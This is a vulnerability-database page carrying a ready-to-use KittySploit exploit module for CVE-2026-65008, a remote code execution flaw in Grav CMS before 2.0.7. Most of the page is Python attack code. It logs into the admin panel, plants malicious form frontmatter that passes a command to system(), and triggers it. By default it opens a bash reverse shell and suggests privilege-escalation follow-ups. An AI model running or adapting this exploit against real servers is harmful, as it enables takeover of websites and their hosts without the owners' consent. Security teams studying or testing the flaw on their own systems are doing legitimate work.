Lucene search
+L

Grav CMS Blueprint dynamicData RCE (CVE-2026-65008)

🗓️ 03 Sep 2026 11:39:36Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Authenticated RCE in Grav CMS via Blueprint::dynamicData() via forms frontmatter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-65008
27 Jul 202613:27
–githubexploit
attackerkb
attackerkb
CVE-2026-65008
21 Jul 202611:39
–attackerkb
circl
Circl
CVE-2026-65008
21 Jul 202612:40
–circl
cve
CVE
CVE-2026-65008
21 Jul 202611:39
–cve
cvelist
Cvelist
CVE-2026-65008 Grav before 2.0.7 Remote Code Execution via Blueprint dynamicData
21 Jul 202611:39
–cvelist
exploitdb
Exploit DB
Grav CMS 2.0.7 - RCE
1 Sep 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-46183
21 Jul 202611:39
–euvd
kitploit
Kitploit
1day-archive
13 Oct 202613:38
–kitploit
kitploit
Kitploit
CVE-2026-65008
8 Oct 202615:21
–kitploit
mend
Mend
CVE-2026-65008
21 Jul 202611:39
–mend
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-65008 — Grav CMS authenticated Blueprint::dynamicData() RCE."""

from __future__ import annotations

import re
import time
from typing import Optional, Tuple

import requests

from kittysploit import *
from lib.protocols.http.http_client import Http_client

GRAV_PATCHED_VERSION = "2.0.7"
GRAV_VERSION_RE = re.compile(r"Grav(?:CMS)?[^\d]*(\d+\.\d+\.\d+)", re.I)
LOGIN_NONCE_RE = re.compile(
    r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']',
    re.I,
)
ADMIN_NONCE_PATTERNS = (
    re.compile(r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]", re.I),
    re.compile(r"admin-nonce:([a-f0-9]+)", re.I),
    re.compile(r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']', re.I),
)


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Grav CMS Blueprint dynamicData RCE (CVE-2026-65008)",
        "description": (
            "Exploits CVE-2026-65008 in Grav CMS < 2.0.7 (fixed in 2.0.7): an authenticated "
            "user with admin.pages permission can plant a malicious forms frontmatter "
            "directive (data-opts@) that routes through Blueprint::dynamicData() to "
            "Grav\\Common\\Utils::arrayFilterRecursive and system(). Execution triggers "
            "when any visitor loads the planted page."
        ),
        "author": ["zer0dayf", "KittySploit Team"],
        "cve": ["CVE-2026-65008"],
        "platform": Platform.PHP,
        "arch": [Arch.CMD],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": [Platform.UNIX, Platform.LINUX, Platform.PHP, Platform.MULTI],
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-65008",
            "https://github.com/zer0dayf/CVE-2026-65008",
            "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5",
        ],
        "modules": [
            "scanner/http/grav_cms_detect",
        ],
        "tags": [
            "grav",
            "grav-cms",
            "cms",
            "php",
            "blueprint",
            "frontmatter",
            "authenticated",
            "rce",
            "cve-2026-65008",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "content_injection"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["grav", "php"],
                "endpoint_pattern_any": ["/admin"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "Blueprint dynamicData trampoline"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    port = OptPort(80, "Grav HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    base_path = OptString("/", "Grav base path prefix", False)
    username = OptString("admin", "Grav admin username", True)
    password = OptString("", "Grav admin password", True)
    command = OptString("", "OS command (overrides payload when set)", False)
    folder = OptString("", "Planted page folder slug (random if empty)", False, advanced=True)
    verify_cmd = OptString("id", "Command for check() verification", False, advanced=True)
    trigger_timeout = OptInteger(
        12,
        "Seconds to wait when triggering the planted page",
        False,
        advanced=True,
    )
    skip_version_check = OptBool(
        False,
        "Attempt exploit when version appears patched or unknown",
        False,
        advanced=True,
    )

    @staticmethod
    def _version_tuple(version: str) -> Tuple[int, ...]:
        parts = [int(p) for p in re.findall(r"\d+", str(version or ""))]
        return tuple(parts) if parts else ()

    @classmethod
    def _version_lt(cls, left: str, right: str) -> bool:
        a = cls._version_tuple(left)
        b = cls._version_tuple(right)
        if not a or not b:
            return False
        width = max(len(a), len(b))
        return a + (0,) * (width - len(a)) < b + (0,) * (width - len(b))

    @staticmethod
    def _parse_version(text: str) -> str:
        match = GRAV_VERSION_RE.search(text or "")
        return match.group(1) if match else ""

    @staticmethod
    def _extract_output(body: str) -> str:
        lines = []
        for line in (body or "").splitlines():
            stripped = line.strip()
            if not stripped or stripped.startswith("<"):
                continue
            lines.append(stripped)
        return "\n".join(lines).strip()

    def _grav_base(self) -> str:
        val = str(self.base_path or "/").strip() or "/"
        if not val.startswith("/"):
            val = f"/{val}"
        return val.rstrip("/") or ""

    def _grav_path(self, suffix: str) -> str:
        base = self._grav_base()
        suffix = str(suffix or "").strip()
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _grav_get(self, path: str):
        return self.http_request(
            method="GET",
            path=path,
            timeout=max(int(self.timeout or 15), 10),
            allow_redirects=True,
        )

    def _grav_post(self, path: str, data: dict):
        return self.http_request(
            method="POST",
            path=path,
            data=data,
            timeout=max(int(self.timeout or 15), 10),
            allow_redirects=True,
        )

    def _looks_like_grav(self) -> bool:
        for rel in ("/", "/admin"):
            try:
                response = self._grav_get(self._grav_path(rel))
            except Exception:
                continue
            if not response:
                continue
            text = (response.text or "").lower()
            headers = {str(k).lower(): str(v) for k, v in (response.headers or {}).items()}
            if "gravcms" in text or 'generator" content="grav' in text:
                return True
            if "grav-site-" in headers.get("set-cookie", "").lower():
                return True
            if "grav" in text[:3000] and rel == "/admin":
                return True
        return False

    def _get_version(self) -> str:
        for rel in ("/", "/admin"):
            try:
                response = self._grav_get(self._grav_path(rel))
            except Exception:
                continue
            if not response:
                continue
            version = self._parse_version(response.text or "")
            if version:
                return version
        return ""

    def _login_nonce(self) -> Optional[str]:
        response = self._grav_get(self._grav_path("/admin"))
        if not response:
            return None
        match = LOGIN_NONCE_RE.search(response.text or "")
        return match.group(1) if match else None

    def _login(self, username: str, password: str) -> bool:
        nonce = self._login_nonce()
        if not nonce:
            return False
        response = self._grav_post(
            self._grav_path("/admin"),
            {
                "data[username]": username,
                "data[password]": password,
                "task": "login",
                "login-nonce": nonce,
            },
        )
        if not response:
            return False
        body = response.text or ""
        if "login-nonce" in body and "data[username]" in body:
            return False
        return True

    def _admin_nonce(self) -> Optional[str]:
        response = self._grav_get(self._grav_path("/admin"))
        if not response:
            return None
        text = response.text or ""
        for pattern in ADMIN_NONCE_PATTERNS:
            match = pattern.search(text)
            if match:
                return match.group(1)
        return None

    @staticmethod
    def _frontmatter(command: str) -> str:
        safe_cmd = str(command or "").replace("'", "'\\''")
        return (
            "forms:\n"
            "  x:\n"
            "    fields:\n"
            "      y:\n"
            "        type: text\n"
            "        data-opts@:\n"
            "          - 'Grav\\Common\\Utils::arrayFilterRecursive'\n"
            f"          - {{ '{safe_cmd}': 'x' }}\n"
            "          - system"
        )

    def _plant(self, command: str, folder: str, nonce: str) -> bool:
        response = self._grav_post(
            self._grav_path(f"/admin/pages/{folder}"),
            {
                "task": "save",
                "admin-nonce": nonce,
                "form-nonce": nonce,
                "data[folder]": folder,
                "data[name]": "form",
                "data[title]": "RCE",
                "data[content]": "pwned",
                "data[frontmatter]": self._frontmatter(command),
            },
        )
        if not response:
            return False
        return int(response.status_code or 0) in (200, 302)

    def _trigger(self, folder: str, timeout: float) -> Tuple[Optional[str], bool]:
        path = self._grav_path(f"/{folder}")
        wait = max(3.0, float(timeout))
        scheme = "https" if self._to_bool(getattr(self, "ssl", False)) else "http"
        target = str(self.target or "").strip()
        port = int(self.port or 80)
        verify = self._to_bool(getattr(self, "verify_ssl", False))
        url = f"{scheme}://{target}:{port}{path}"
        try:
            response = requests.get(url, timeout=wait, verify=verify, allow_redirects=True)
            return response.text or "", False
        except requests.exceptions.ReadTimeout:
            return None, True

    def _run_command(
        self,
        command: str,
        folder: str,
        *,
        trigger_timeout: float = 12.0,
    ) -> Tuple[Optional[str], bool]:
        nonce = self._admin_nonce()
        if not nonce:
            raise RuntimeError("Could not obtain admin-nonce")
        if not self._plant(command, folder, nonce):
            raise RuntimeError("Failed to plant malicious page frontmatter")
        time.sleep(0.5)
        return self._trigger(folder, trigger_timeout)

    def _folder_name(self) -> str:
        name = str(self.folder or "").strip()
        if name:
            return name
        return f"ks_{self.random_text(8)}"

    def _resolve_command(self) -> str:
        manual = str(self.command or "").strip()
        if manual:
            return manual
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id").strip() or "id"

    def _is_reverse_payload(self, command: str) -> bool:
        path = ""
        try:
            path = str(self._get_configured_payload_path() or "").lower()
        except Exception:
            pass
        markers = ("/dev/tcp/", "bash -i", "bash -c", "reverse", "nc -e", "ncat ")
        return any(m in command.lower() for m in markers) or "reverse" in path

    def check(self):
        if not self._looks_like_grav():
            return {
                "vulnerable": False,
                "reason": "Grav CMS not detected",
                "confidence": "medium",
            }

        version = self._get_version()
        if version and not self._version_lt(version, GRAV_PATCHED_VERSION):
            if not bool(self.skip_version_check):
                return {
                    "vulnerable": False,
                    "reason": f"Grav {version} >= {GRAV_PATCHED_VERSION} (patched)",
                    "confidence": "high",
                    "version": version,
                }

        if not str(self.password or "").strip():
            if version and self._version_lt(version, GRAV_PATCHED_VERSION):
                return {
                    "vulnerable": True,
                    "reason": (
                        f"Grav {version} < {GRAV_PATCHED_VERSION}; set password to confirm"
                    ),
                    "confidence": "medium",
                    "version": version,
                }
            return {
                "vulnerable": True,
                "reason": "Grav CMS detected; set username/password to confirm",
                "confidence": "low",
                "version": version,
            }

        if not self._login(str(self.username), str(self.password)):
            return {
                "vulnerable": False,
                "reason": "Grav detected but admin login failed",
                "confidence": "medium",
                "version": version,
            }

        folder = f"ks_check_{self.random_text(6)}"
        probe = str(self.verify_cmd or "id").strip() or "id"
        try:
            body, timed_out = self._run_command(
                probe,
                folder,
                trigger_timeout=float(self.trigger_timeout or 12),
            )
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Active probe failed after login: {exc}",
                "confidence": "medium",
                "version": version,
            }

        output = self._extract_output(body or "")
        if "uid=" in output:
            return {
                "vulnerable": True,
                "reason": (
                    f"CVE-2026-65008 confirmed on Grav {version or 'unknown'} "
                    f"(<{GRAV_PATCHED_VERSION}): {output.splitlines()[0][:120]}"
                ),
                "confidence": "high",
                "version": version,
            }

        if timed_out and self._is_reverse_payload(probe):
            return {
                "vulnerable": True,
                "reason": "Planted page trigger timed out (likely reverse payload)",
                "confidence": "medium",
                "version": version,
            }

        if version and self._version_lt(version, GRAV_PATCHED_VERSION):
            return {
                "vulnerable": True,
                "reason": (
                    f"Grav {version} < {GRAV_PATCHED_VERSION}; login OK but probe output inconclusive"
                ),
                "confidence": "medium",
                "version": version,
            }

        return {
            "vulnerable": False,
            "reason": "Grav login succeeded but RCE probe did not return command output",
            "confidence": "medium",
            "version": version,
        }

    def run(self):
        try:
            print_status("CVE-2026-65008 — Grav CMS Blueprint dynamicData RCE")
            print_status(f"Target: {self.target}:{self.port}")

            if not str(self.password or "").strip():
                print_error("password is required")
                return False

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            if not self._login(str(self.username), str(self.password)):
                print_error("Admin login failed")
                return False
            print_success(f"Logged in as {self.username}")

            folder = self._folder_name()
            command = self._resolve_command()
            reverse = self._is_reverse_payload(command)
            trigger_wait = 6.0 if reverse else float(self.trigger_timeout or 12)

            print_status(f"Planting payload in page folder /{folder}")
            print_status(f"Command: {command[:100]}{'...' if len(command) > 100 else ''}")

            body, timed_out = self._run_command(command, folder, trigger_timeout=trigger_wait)

            if timed_out:
                print_success(
                    "Trigger request timed out — reverse shell likely connected; check listener"
                )
                self.vulnerable()
                return True

            output = self._extract_output(body or "")
            if output:
                print_success("Command output:")
                print_info(output)
                self.vulnerable()
                return True

            if reverse:
                print_warning(
                    "Reverse payload dispatched but trigger returned without timeout — verify listener"
                )
                self.vulnerable()
                return True

            print_error("No command output observed from planted page")
            return False

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Sep 2026 11:39Current
8.4High risk
Vulners AI Score8.4
CVSS 49.3
CVSS 3.19.8
EPSS0.0249
SSVC
3